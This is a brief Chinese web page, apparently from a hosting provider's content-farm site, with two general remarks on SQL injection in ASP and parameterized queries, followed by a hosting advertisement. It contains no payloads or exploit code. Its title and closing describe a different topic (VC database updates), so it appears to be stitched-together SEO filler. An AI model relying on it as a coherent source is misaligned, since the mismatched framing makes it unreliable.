本質(zhì)上,如果一個(gè)有參數(shù)的查詢被執(zhí)行 ,并且用戶提供的參數(shù)通過(guò)安全檢查才放入到查詢中,那么SQL注入明顯是不可能發(fā)生的。但是如果攻擊者努力影響所執(zhí)行查詢語(yǔ)句的非數(shù)據(jù)部分,這樣他們就可能能夠控制數(shù)據(jù)庫(kù)。
比較好的常規(guī)的標(biāo)準(zhǔn)是:
· 如果一個(gè)ASP腳本能夠產(chǎn)生一個(gè)被提交的SQL查詢字符串,即使它使用了存儲(chǔ)過(guò)程也是能夠引起SQL注入的弱點(diǎn)。
關(guān)于vc 立即更新數(shù)據(jù)庫(kù)的介紹到此就結(jié)束了,不知道你從中找到你需要的信息了嗎 ?如果你還想了解更多這方面的信息,記得收藏關(guān)注本站。
香港服務(wù)器選創(chuàng)新互聯(lián),2H2G首月10元開(kāi)通。
創(chuàng)新互聯(lián)(www.cdcxhl.com)互聯(lián)網(wǎng)服務(wù)提供商,擁有超過(guò)10年的服務(wù)器租用、服務(wù)器托管、云服務(wù)器、虛擬主機(jī)、網(wǎng)站系統(tǒng)開(kāi)發(fā)經(jīng)驗(yàn)。專(zhuān)業(yè)提供云主機(jī)、虛擬主機(jī)、域名注冊(cè)、VPS主機(jī)、云服務(wù)器、香港云服務(wù)器、免備案服務(wù)器等。
網(wǎng)頁(yè)標(biāo)題:VC數(shù)據(jù)庫(kù)更新:提高效率,立即行動(dòng)!(vc立即更新數(shù)據(jù)庫(kù))
鏈接URL:http://m.fisionsoft.com.cn/article/dhghhhg.html


咨詢
建站咨詢
